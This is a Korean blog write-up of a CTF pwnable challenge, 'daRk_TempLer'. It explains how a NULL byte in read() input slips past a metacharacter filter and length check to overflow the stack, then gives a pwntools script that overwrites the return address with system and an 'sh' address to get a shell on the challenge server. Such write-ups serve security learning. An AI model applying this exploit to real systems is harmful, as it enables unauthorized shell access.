daRk_TempLer문제는 main함수와 check함수로 이루어져 있다.
main함수에서는 Input size를 입력받고, 그 인풋사이즈만큼 read함수를 이용해서 input을 buf에 입력받는다.
buf의 길이는 0x40을 넘으면 안된다.
check함수에서 buf는 $&;|`\\><\"'`/\n\r의 특수문자로 이루어 지지 않고 sh문자열이 들어있지 않은지를 확인한다.
그리고 다시 main함수에서 system(&buf)를 실행한다.
Stack의 주소가 주어지지만, 나는 이를 이용하지 않았고, read함수를 이용했다.
read함수는 NULL바이트를 받아들이므로, 입력 중간에 NULL이 있어도 뒤로 계속 입력을 받아들인다.
그리고 그 길이는 NULL전까지만 카운트되고, check함수와 system함수의 인자도 NULL까지만 들어간다.
따라서 중간에 NULL이 들어간다면 input의 길이에는 제한이 없다. 그래서 리턴어드레스를 덮을 수 있다.
문제에서 system의 주소와 sh\x00의 주소가 주어졌으므로, 이를 이용하여 쉘을 딸 수 있었다.
입력값 처음에 “id”를 넣어준 이유는 system(&buf)가 오류없이 진행되고 main이 종결되어야 조작한 리턴어드레스를 실행시킬 수 있기 때문이다. 따라서 꼭 “id”가 아니더라도 다양한 인자를 넣을 수 있다.
from pwn import*
import time
s=remote('cykor.kr',10003)
s.recvuntil(" > ")
s.send("1000\n")
time.sleep(1)
s.recv(1024)
s.send("id"+"\x00"+"A"*73+"\xc0\x84\x04\x08"+"\xef\xbe\xad\xde"+"\x3f\x89\x04\x08")
'시스템 해킹 > cykor' 카테고리의 다른 글
derby-카나리 릭 (0) | 2018.01.02 |
---|---|
2015410208-got overwrite (0) | 2018.01.02 |
catchme-노가다, 스택버퍼오버플로우 (0) | 2017.12.29 |
20121209-메모리 릭, fake ebp (0) | 2017.12.29 |
dethstarr (0) | 2017.03.11 |